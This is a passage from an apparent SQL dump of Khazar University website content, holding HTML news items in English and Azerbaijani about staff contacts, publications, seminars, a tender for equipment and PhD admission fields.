Khalili</a></strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:n.pourkhalili@hotmail.com\">n.pourkhalili[at]hotmail.com</a>  <a href=\"mailto:n.pourkhalili@hotmail.com\" style=\"font-weight:bold\"></a>  </p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/nazila_pour_khalili.pdf\"><img src=\"/files/biolog_depart/images/mahshid_damandan.jpg\" style=\"width:150px;height:198px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/mahshid_damandan.pdf\">Mahshid Damandan</a></strong></p>  <p><strong>E-mail:&nbsp;</strong><a href=\"mailto:Damandanmahshid.Immunologist@yahoo.com\">damandanmahshid.immunologist[at]yahoo.com</a>  <a href=\"mailto:n.pourkhalili@hotmail.com\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p>  \r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/nazila_pour_khalili.pdf\"></a><a href=\"http://www.khazar.org/files/biolog_depart/images/rouhallah_moradpour.jpg\"><img src=\"/files/biolog_depart/images/rouhallah_moradpour.jpg\" style=\"width:150px;height:201px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/biolog_depart/CV/rouhallah_moradpour.pdf\">Rouhallah&nbsp;Moradpour  </a></strong></p>  <p><strong>E-mail:&nbsp;</strong><a href=\"mailto:moradpoormehran@ymail.com\">moradpoormehran[at]ymail.com</a>  <a href=\"mailto:Damandanmahshid.Immunologist@yahoo.com\"></a>  <a href=\"mailto:n.pourkhalili@hotmail.com\"></a></p>'),(6201,3529,'en','PhD student’s article has been published','On July 16th, 2018 an article by a PhD student of Germanic Languages department of Khazar University Gulnur...','<p>On July 16<sup>th</sup>, 2018 an article by a PhD student of Germanic Languages department of Khazar University Gulnur Nabiyeva on the topic “<em><strong><a href=\"http://www.khazar.org/files/letters/gulnur_nabiyeva_article.pdf\">The problem of variability of lexical language units (on a material of English language)</a></strong></em>” has been published on <a href=\"http://sciphilology.ru/\">http://sciphilology.ru/</a> website.&nbsp;</p><p>Follow the link to see information about the article’s publishing: <a href=\"http://sciphilology.ru/f/spisok_avtorov_philology_no_4_16_iyul_0.pdf\">http://sciphilology.ru/f/spisok_avtorov_philology_no_4_16_iyul_0.pdf</a>.</p>'),(4772,2825,'en','January','January',''),(4769,2823,'az','“Dünya” məktəbində “Yeni Çin iliniz mübarək” adlı tədbir keçiriləcək','2018-ci il yanvarın 17-si saat 14:00-da Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində universitetin Kitabxana-İnformasiya Mərkəzinin təşkilatçılığı...','<p>2018-ci il yanvarın 17-si saat 14:00-da Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində universitetin Kitabxana-İnformasiya Mərkəzinin təşkilatçılığı ilə “Çin guşəsi” layihəsi çərçivəsində “Happy Chinese New Year” (“Yeni Çin iliniz mübarək”) adlı növbəti tədbir keçiriləcək.</p><p>Maraqlananlar dəvət olunurlar.</p>'),(4765,2773,'en','Students went on excursion to Institute of Manuscript','Zivar Huseynli-Balyan, PhD in Philology, Coordinator of Department of Languages and Cultures of Khazar...','<p>Zivar Huseynli-Balyan, PhD in Philology, Coordinator of Department of Languages and Cultures of Khazar University, organised excursion on December 20, 2017, with support by Khatira Yusifova, PhD in Philology, to Institute of Manuscripts named after Muhammad Fuzuli, ANAS, for the students of discipline of “Ancient Azerbaijan writing”. During the excursion, students got familiar with manuscripts which are considered national moral values of Azerbaijan. Students also got acquainted with rules for usage of manuscripts, as well as condition and restoration of manuscripts. Furthermore, students met Seyfaddin Mammadov, who is famous for wood carving art, and became fully acquainted with his artifacts.</p>'),(4702,2790,'az','Xəzər Universitetində 2017-ci ilin son tədqiqat seminarı keçirildi','2017-ci il dekabrın 27-də Xəzər Universitetində cari ilin sonuncu tədqiqat seminarı keçirildi...','<p>2017-ci il dekabrın 27-də Xəzər Universitetində cari ilin sonuncu tədqiqat seminarı keçirildi. Seminar Xəzər Universitetinin Ph.D. və Magistr Tələbə Birliyi tərəfindən təşkil edilmişdi. Seminarın açılışını universitetin Elmi işlər üzrə prorektoru dosent İradə Xəlilova etdi. O, iştirakçıları qarşıdan gələn yeni –2018-ci il münasibətilə təbrik etdi və onlara uğurlar arzuladı. Qeyd edildi ki, son il universitetin müxtəlif tədqiqat sahələri üçün uğurlu olmuş, yüksək keyfiyyətli məqalələrin sayı əhəmiyyətli dərəcədə artmışdır. İl ərzində bir sıra yerli və xarici alimlərin iştirakı ilə çox maraqlı tədqiqat seminarları, jurnal klublar və elmi konfranslar keçirilmişdir. Həmçinin, bu il Xəzər Universitetinin Ph.D. və Magistr Tələbə Birliyi yaradılmışdır. Birlik artıq Ph.D. tələbə şəbəkəsi yaratmış, effektiv yazı bacarıqlarına həsr edilmiş bir sıra praktik təlimlər təşkil etmiş, müxtəlif sahədə fikir mübadiləsinə aid görüşlər keçirmişdir.</p><p>Daha sonra, Böyük Britaniyanın London Middlesex Universitetində “Universitet idarəçiliyində tələbələrin iştirakı” mövzusunda tədqiqat işi aparan, Xəzər Universitetinin İnkişaf Mərkəzinin direktoru Ph.D. namizəd Raziya İsayeva tədqiqat işi haqda seminar verdi. O, tədqiqatın məqsədi, apardığı keyfiyyət və kəmiyyət analizi metodlarını, alınmış ilkin nəticələri müqayisəli təqdim etdi və özünün Middlesex Universitetində qazandığı bilik və təcrübələrini iştirakçılarla bölüşdü. Seminarda bu sahədə olan müxtəlif alimlərin fikirləri və nəzəriyyələri üzərində müqayisəli müzakirələr aparıldı. Qeyd olundu ki, bu tədqiqatdan alınmış nəticələrin Azərbaycan universitetlərində praktiki olaraq həyata keçirilməsi onların təkcə tələbə həyatında deyil, həm də universitetlərin tanınması və effektivliyinin artırılmasın da kömək ola bilər.</p><p>Seminar yeni il tədbiri ilə davam etdi.</p>'),(4703,2790,'en','Last Research Seminar of 2017 held at Khazar University','On December 27, 2017, last research seminar of this year was held at Khazar University...','<p>On December 27, 2017, last research seminar of this year was held at Khazar University. The seminar was organized by Khazar University Ph.D. &amp; Master Student Association. The opening of the seminar was made by assoc. prof. Irada Khalilova, vice-rector for Research at Khazar University. She congratulated participants and wished them prosperous New Year 2018. It was noted that this year was successful in different research disciplines throughout the University. Number of high quality publications has significantly been increased. Many interesting research seminars, Journal Clubs, and Scientific Conferences were held throughout the year with participation of national and international scholars. Also, this year, Khazar University Ph.D. &amp; Master Student Association has been established. They have already created student networks, organized workshops and seminars on effective writing skills, meetings on exchanging opinions of their ideas and practices.</p><p>Later, Ph.D. candidate Raziya Isayeva, Head of Development Centre at Khazar University, who is currently conducting her research at Middlesex University London (UK), made a speech on her Ph.D. thesis entitled “Participation of Students in University Management”. She presented her research proposal, qualitative and quantitative research methodologies, primary results, and shared her knowledge and research experience gained at the Middlesex University. Interesting discussions were held during the seminar with contribution of participants, and comparison of different theories of scholars on this area was reviewed. It was noted that practical implementation of such results in Azerbaijani Universities not only could have a positive impact in the lives of students, but it could help Universities to increase their effectiveness and recognition.</p><p>The seminar was followed by a New Year event.</p>'),(4704,2791,'az','Universitetin əməkdaşları Gəncə və Mingəçevirdə oldular ','2017-ci il dekabrın 22-si və 23-də Xəzər Universitetinin potensial tələbələr üzrə işçi qrupun koordinatoru...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal;background:white\"\"=\"\">2017-ci il dekabrın 22-si və 23-də Xəzər Universitetinin\r\npotensial tələbələr üzrə işçi qrupun koordinatoru Fuat\r\nRəsulov və İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli Gəncə və\r\nMingəçevir şəhərlərinə səfərdə oldular. Səfər zamanı həmin şəhərlərdə yerləşən\r\nmüxtəlif orta məktəblər və hazırlıq kurslarının yuxarı sinif şagirdləri,\r\nonların valideynləri və müəllimləri ilə görüşlər keçirildi, Xəzər Universiteti\r\nvə burada kadr hazırlığı aparılan ixtisaslar haqqında geniş məlumat verildi,\r\nvideoçarx nümayiş etdirildi və iştirakçıların sualları cavablandırıldı. Görüş\r\nzamanı növbəti il Gəncə və Mingəçevir şəhərlərində təhsil alan yuxarı sinif\r\nşagirdləri, onların valideynləri və müəllimləri ilə universitet rəhbərliyinin\r\ngörüşlərinin təşkil edilməsi qərara alındı.&nbsp;</p>'),(4705,2792,'az','Doktorantın yerli jurnalda növbəti elmi məqaləsi çap edildi','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimovanın...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimovanın (doktorant) “N.Çomskinin Kartezian diçiliyə münasibəti: Dilin anadangəlmə olması prinsipi” adlı elmi məqaləsi “Filologiya məsələləri” jurnalının 17-ci sayında çap edilmişdir (ISSN 2224-9257).Məqalədə dilçiliyin inkişafından, dilin empirik tədqiqindən və s. geniş söhbət açılır.</p><p>Məqaləni tam şəkildə aşağıdakı link vasitəsi ilə oxumaq olar:</p>  <p><a href=\"http://www.filologiyameseleleri.net/pdf/2017/n17.pdf\">http://www.filologiyameseleleri.net/pdf/2017/n17.pdf</a></p>'),(4725,2802,'az','Xəzər Universitetində birinci semestrin final imtahanları başlandı – FOTOSESSİYA','Xəzər Universitetində birinci semestrin final imtahanları başlandı...',''),(4726,2803,'az','“Xəzər Xəbər” jurnalının noyabr nömrəsi çapdan çıxıb','“Xəzər Xəbər” jurnalının 2017-ci il noyabr nömrəsi (367-ci nömrə) Xəzər Universitetinin...','<p>“Xəzər Xəbər” jurnalının 2017-ci il noyabr nömrəsi (367-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır. Jurnalı bu linkdə də oxuya bilərsiniz:&nbsp;</p><p><a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(5244,3040,'en','PETRA training at University of Applied Sciences bfi Vienna, Austria','Third training within PETRA project took place at University of Applied Sciences...','<p>Third training within PETRA project took place at University of Applied Sciences bfi Vienna, Austria. PETRA is a project on Promoting Excellence in Teaching and Learning at Azerbaijani Universities co-funded by the Erasmus+ Programme of the European Union. Five members of Khazar University – Associate Professor Irada Khalilova, vice-rector for Research; Dr. Elza Semedova, Dean of the School of Education; Lyudmila Sotova, Head of Quality Assurance; Raziya Isayeva, Director of Development, and Valide Karimova, vice-dean of School of Humanities and Social Sciences participated in the training.</p><p>The training was devoted to WP5 on building research capacity, and covered full range of topics on building research and development. During the first day of the training Irada Khalilova delivered a presentation on Research and Development in Azerbaijan. Later Dr. Dietmar Paier made a presentation on Austrian R&amp;D system. Presentations and trainings sessions on Research funding in Austria, Participation in EU Horizon 2020, Project Management, Quality Management, Internationalization of University were covered during the 5-day intense training programme. Last two days followed with a workshop on building a capacity of R&amp;D in Azerbaijan and implementation of project within each university. Representatives of university were actively involved and delivered presentations on their ideas and visions.</p>'),(5246,3041,'en','Meeting with Hamlet Isakhanli, prominent intellectual, mathematician and poet, in Sheki','Literary night “What have I brought to this world?” dedicated to Professor Hamlet...','<p>Literary night “What have I brought to this world?” dedicated to Professor Hamlet Isakhanli’s, the founder of Khazar University and Chairman of its Board of Directors and Trustees, life and career, was organized by Sheki State Drama Theater, with support of Sheki city Executive Power, on March 13, 2018. Firstly, guests had a look at a photo-exhibition at the foyer of the theater. Also, Khazar University Chamber Orchestra guided by Zulfiyya Sadigova, Head of Department of Music and Fine Arts; Azer Zeynalov, Alim Gasimov - People’s Artists; and Elza Seyidjahan, Farid Aliyev, Fargana Gasimova and Rasima Seyidjahan - Honored Artists, performed pieces of music with lyrics by Hamlet Isakhanli. Poems recited by teachers of “Dunya” school, affiliated with Khazar University, were welcomed by audience with applause.</p><p>At the end of the ceremony, Hamlet Isakhanli took the floor under rapturous applause. H.Isakhanli delivered a speech and expressed his gratitude to Sheki city Executive Power, Sheki city community, and organizers for the ceremony of high-level quality. He also presented gifts to</p><p>Elkhan Usubov, Head of Sheki city Executive Power, on behalf of Khazar University. Then Elkhan Usubov thanked Prof. Hamlet Isakhanli and Khazar University staff for the ceremony, and presented a gift to Hamlet Isakhanli on behalf of Sheki city Executive Power.</p><p>After the ceremony, Khazar University organized feast in one of the restaurants in Sheki.</p>'),(5247,3042,'az','Tenderə dəvət','Xəzər Universitetinin adından (Bakı, Azərbaycan) Sizi tədqiqat imkanlarının...','<p style=\"text-align:center\"><strong>Tenderə dəvət </strong> <br></p><p>Hörmətli\r\nbəy/xanım,</p>\r\n<p>Xəzər Universitetinin adından (Bakı, Azərbaycan)\r\nSizi tədqiqat imkanlarının artırılmasını təmin edən avadanlıqların alınması\r\nüçün keçirilən tenderdə iştirak etməyə dəvət edirik. </p>\r\n<p>Satıcıdan müəssisəni əlavədəki avadanlıqlarla təmin\r\netməsi xahiş olunur.</p>\r\n<p>Tender təklifi 2018-ci il martın 20-dək (tenderin\r\nkeçirilməsindən sonra 1 ay) qəbul edilir.</p>\r\n<p>Tenderlə bağlı əlavə məlumat əldə etmək üçün Şahin\r\nİsayevə müraciət edə bilərsiniz: <a href=\"mailto:shisayev@khazar.org\">shisayev@khazar.org</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align: center;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;background:white\"\"=\"\"><strong>Avadanlıq</strong>&nbsp;</p>\r\n<table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"31\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong>№</strong></p>\r\n  </td>\r\n  <td width=\"443\">\r\n  <p style=\"text-align: left;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong>Ad </strong></p>\r\n  </td>\r\n  <td width=\"85\">\r\n  <p style=\"text-align: left;\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong>Miqdar</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1.</p>\r\n  </td>\r\n  <td width=\"443\" style=\"\" width:332.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Video\r\n  təqdimat üçün proqram təminatı</p>\r\n  </td>\r\n  <td width=\"85\" style=\"\" width:63.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1\r\n  ədəd</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">2.</p>\r\n  </td>\r\n  <td width=\"443\" style=\"\" width:332.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Kompüter\r\n  </p>\r\n  </td>\r\n  <td width=\"85\" style=\"\" width:63.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">6\r\n  ədəd</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">3.</p>\r\n  </td>\r\n  <td width=\"443\" style=\"\" width:332.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Noutbuk</p>\r\n  </td>\r\n  <td width=\"85\" style=\"\" width:63.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">3\r\n  ədəd</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">4.</p>\r\n  </td>\r\n  <td width=\"443\" style=\"\" width:332.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Video-proyektor</p>\r\n  </td>\r\n  <td width=\"85\" style=\"\" width:63.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">3\r\n  ədəd</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"31\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">5.</p>\r\n  </td>\r\n  <td width=\"443\" style=\"\" width:332.35pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Video\r\n  konfrans avadanlığı </p>\r\n  </td>\r\n  <td width=\"85\" style=\"\" width:63.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1\r\n  ədəd</p></td></tr></tbody></table>'),(4708,2794,'en','Khazar University announces acceptance of documents for full time and part time (paid) PhD students for 2017-2018','Khazar University announces acceptance of documents for full time and part time...','<table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>№</strong></p>\r\n  </td>\r\n  <td width=\"622\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Fields of\r\n  Study</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"622\" style=\"\" width:466.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Computer\r\n  sciences-1203.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">2</p>\r\n  </td>\r\n  <td width=\"622\" style=\"\" width:466.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Biochemistry-2426.02</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">3</p>\r\n  </td>\r\n  <td width=\"622\" style=\"\" width:466.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Exploration\r\n  and geology of oil and gas fields-2521.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">4</p>\r\n  </td>\r\n  <td width=\"622\" style=\"\" width:466.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Development\r\n  and exploitation of oil and gas fields-2525.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">5</p>\r\n  </td>\r\n  <td width=\"622\" style=\"\" width:466.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Energy\r\n  technology-3322.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">6</p>\r\n  </td>\r\n  <td width=\"622\" style=\"\" width:466.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Systematic\r\n  Analysis and Information Management-3338.01  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">7</p>\r\n  </td>\r\n  <td width=\"622\" style=\"\" width:466.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Economics\r\n  -5308.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">8</p>\r\n  </td>\r\n  <td width=\"622\" style=\"\" width:466.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">World\r\n  economics -5310.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">9</p>\r\n  </td>\r\n  <td width=\"622\" style=\"\" width:466.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Organization\r\n  and management of enterprises-5311.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">10</p>\r\n  </td>\r\n  <td width=\"622\" style=\"\" width:466.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Germanic\r\n  languages-5708.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">11</p>\r\n  </td>\r\n  <td width=\"622\" style=\"\" width:466.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Comparative\r\n  historical and comparative typological linguistics-5714.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\" colspan=\"2\" style=\"\" width:38.4pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">12</p>\r\n  </td>\r\n  <td width=\"622\" style=\"\" width:466.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Azerbaijani\r\n  literature-5716.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">13</p>\r\n  </td>\r\n  <td width=\"622\" colspan=\"2\" style=\"\" width:466.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Education\r\n  planning and administration-5802.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">14</p>\r\n  </td>\r\n  <td width=\"622\" colspan=\"2\" style=\"\" width:466.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:12.75pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Pedagogics and\r\n  history of education-5804.01</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">15</p>\r\n  </td>\r\n  <td width=\"622\" colspan=\"2\" style=\"\" 